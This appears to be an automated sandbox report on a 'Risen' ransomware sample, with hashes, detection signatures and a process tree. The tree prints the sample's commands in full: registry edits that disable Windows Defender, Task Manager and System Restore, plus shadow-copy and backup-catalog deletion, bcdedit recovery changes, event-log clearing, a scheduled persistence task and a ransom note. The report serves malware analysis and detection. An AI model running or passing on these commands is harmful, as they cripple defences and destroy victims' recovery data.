Analysis

  • max time kernel
    200s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    15/05/2024, 15:52

General

  • Target

    risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe

  • Size

    149KB

  • MD5

    0444b3d690823924667302cfae1f0655

  • SHA1

    737d0d001e60ce20c8f35a2bbac0f4d525b96174

  • SHA256

    3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5

  • SHA512

    5dacf16ce60bb5191708de906a920ab63fa3d5458fc7331013d8c3997beae802f0ea4b318392b1c4c6e15417a15423661e6bb4cb072adb33338493b1aac2c57d

  • SSDEEP

    3072:wz5vBHTp2Obwai/tge32Vhh53u8rrsusAkeOe494flyntoGNout:wtvBlZc/tZ3yh53u8rg/AkFe4ufkntVZ

Malware Config

Signatures

  • Deletes NTFS Change Journal 2 TTPs 1 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (2898) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe
    "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINESoftware\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINESoftware\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        3⤵
          PID:1396
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2756
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
          3⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:2116
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          3⤵
            PID:2440
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
            3⤵
              PID:2548
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2620
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              3⤵
                PID:2384
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2728
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                3⤵
                  PID:2452
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                2⤵
                  PID:2564
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:2872
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                    2⤵
                      PID:2956
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                        3⤵
                          PID:2680
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                        2⤵
                          PID:2792
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                            3⤵
                              PID:2600
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:2708
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:2880
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:2456
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:2692
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:2432
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:2228
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:2496
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:848
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:2552
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:1656
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:2720
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:776
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2480
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:2312
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:1592
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:2660
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:1816
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:876
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:636
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:2112
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:2648
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:2416
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:2520
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:1308
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:2644
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:3036
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:2172
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:1232
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                    2⤵
                                                                                      PID:1924
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                        3⤵
                                                                                          PID:1668
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "SystemDefense" /TR "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe" /F
                                                                                        2⤵
                                                                                          PID:1932
                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                            SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "SystemDefense" /TR "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe" /F
                                                                                            3⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:1916
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                          2⤵
                                                                                            PID:2864
                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                              fsutil usn deletejournal /D F:\
                                                                                              3⤵
                                                                                              • Enumerates connected drives
                                                                                              PID:1928
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                            2⤵
                                                                                              PID:2568
                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                fsutil usn deletejournal /D C:\
                                                                                                3⤵
                                                                                                  PID:876
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                2⤵
                                                                                                  PID:2248
                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                    fsutil usn deletejournal /D M:\
                                                                                                    3⤵
                                                                                                    • Enumerates connected drives
                                                                                                    PID:1252
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                  2⤵
                                                                                                    PID:1836
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl Setup
                                                                                                      3⤵
                                                                                                      • Clears Windows event logs
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:320
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                    2⤵
                                                                                                      PID:2252
                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                        wevtutil.exe cl System
                                                                                                        3⤵
                                                                                                        • Clears Windows event logs
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:2016
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                      2⤵
                                                                                                        PID:892
                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                          wevtutil.exe cl Application
                                                                                                          3⤵
                                                                                                          • Clears Windows event logs
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2720
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                        2⤵
                                                                                                          PID:2288
                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                            wevtutil.exe cl Security
                                                                                                            3⤵
                                                                                                            • Clears Windows event logs
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2416
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                          2⤵
                                                                                                            PID:2304
                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                              wevtutil.exe cl Security /e:false
                                                                                                              3⤵
                                                                                                              • Clears Windows event logs
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:1948
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                            2⤵
                                                                                                              PID:2344
                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                3⤵
                                                                                                                • Interacts with shadow copies
                                                                                                                PID:864
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                              2⤵
                                                                                                                PID:2220
                                                                                                                • C:\Windows\system32\bcdedit.exe
                                                                                                                  bcdedit /set {default} recoveryenabled No
                                                                                                                  3⤵
                                                                                                                  • Modifies boot configuration data using bcdedit
                                                                                                                  PID:636
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                2⤵
                                                                                                                  PID:1924
                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                    3⤵
                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                    PID:616
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                  2⤵
                                                                                                                    PID:1632
                                                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                                                      fsutil.exe usn deletejournal /D C:
                                                                                                                      3⤵
                                                                                                                      • Deletes NTFS Change Journal
                                                                                                                      PID:228
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                    2⤵
                                                                                                                      PID:2768
                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                        3⤵
                                                                                                                        • Deletes backup catalog
                                                                                                                        PID:1592
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                      2⤵
                                                                                                                        PID:2824
                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                          schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                          3⤵
                                                                                                                            PID:204
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "SystemDefense" /F
                                                                                                                          2⤵
                                                                                                                            PID:1820
                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                              SCHTASKS.exe /Delete /TN "SystemDefense" /F
                                                                                                                              3⤵
                                                                                                                                PID:1488
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                              2⤵
                                                                                                                                PID:1756
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                  3⤵
                                                                                                                                    PID:1952
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                  2⤵
                                                                                                                                    PID:2084
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                      3⤵
                                                                                                                                        PID:220
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WELCOME " /f
                                                                                                                                      2⤵
                                                                                                                                        PID:3000
                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                          REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WELCOME " /f
                                                                                                                                          3⤵
                                                                                                                                            PID:572
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " We have penetrated your whole network due some critical security issues. We have encrypted all files on each host in the network , We have also Took your critical data AND in case of NO corporation until the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation. ([email protected] , TELEGRAM:@tokyosupp) AND :([email protected]) " /f
                                                                                                                                          2⤵
                                                                                                                                            PID:1484
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " We have penetrated your whole network due some critical security issues. We have encrypted all files on each host in the network , We have also Took your critical data AND in case of NO corporation until the end of the deadline we WILL leak or sell your data, the only way to stop this process is successful corporation. ([email protected] , TELEGRAM:@tokyosupp) AND :([email protected]) " /f
                                                                                                                                              3⤵
                                                                                                                                                PID:1268
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                              2⤵
                                                                                                                                                PID:212
                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                  taskkill /IM mshta.exe /f
                                                                                                                                                  3⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                  PID:1828
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\$Risen_Note.txt
                                                                                                                                                2⤵
                                                                                                                                                  PID:1824
                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                    notepad.exe C:\ProgramData\$Risen_Note.txt
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2884
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c C:\ProgramData\$Risen_Guide.hta
                                                                                                                                                    2⤵
                                                                                                                                                      PID:2324
                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\$Risen_Guide.hta"
                                                                                                                                                        3⤵
                                                                                                                                                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                        PID:2072
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\risen_exe_3b685f4a59211225997256a5cd900f44953bba276b6eb92545966b35b6ef89b5.exe"
                                                                                                                                                      2⤵
                                                                                                                                                      • Deletes itself
                                                                                                                                                      PID:1292
                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                        ping 127.0.0.1 -n 5
                                                                                                                                                        3⤵
                                                                                                                                                        • Runs ping.exe
                                                                                                                                                        PID:1684
                                                                                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                                                                                    C:\Windows\system32\vssvc.exe
                                                                                                                                                    1⤵
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2808
                                                                                                                                                  • C:\Windows\system32\wbengine.exe
                                                                                                                                                    "C:\Windows\system32\wbengine.exe"
                                                                                                                                                    1⤵
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:1732
                                                                                                                                                  • C:\Windows\system32\vssvc.exe
                                                                                                                                                    C:\Windows\system32\vssvc.exe
                                                                                                                                                    1⤵
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2920
                                                                                                                                                  • C:\Windows\System32\vdsldr.exe
                                                                                                                                                    C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                    1⤵
                                                                                                                                                      PID:696
                                                                                                                                                    • C:\Windows\System32\vds.exe
                                                                                                                                                      C:\Windows\System32\vds.exe
                                                                                                                                                      1⤵
                                                                                                                                                        PID:2264

                                                                                                                                                      Network

                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                      Replay Monitor

                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                      Downloads

                                                                                                                                                      • C:\$Risen[GL6MNBAZEJ].Private

                                                                                                                                                        Filesize

                                                                                                                                                        1KB

                                                                                                                                                        MD5

                                                                                                                                                        e635fd1347a924fd60609531bfbc4045

                                                                                                                                                        SHA1

                                                                                                                                                        0e6c25bc312217959f79c62ccbf07015976a053f

                                                                                                                                                        SHA256

                                                                                                                                                        ab25453aa274f00bb10f57f48d627516d412e028424e15f2c57d4bdce0be817c

                                                                                                                                                        SHA512

                                                                                                                                                        2c9ce16e1f8e75dd262267202c43b2274a649a39f20087d8cff48c150a6241579dc8f18afad0044c4922433f3d2713790df98614a1475b8af346197cde43d7a5

                                                                                                                                                      • C:\$Risen_Note.txt

                                                                                                                                                        Filesize

                                                                                                                                                        1KB

                                                                                                                                                        MD5

                                                                                                                                                        5397f97a9140f147d9bf3ca97e2760ec

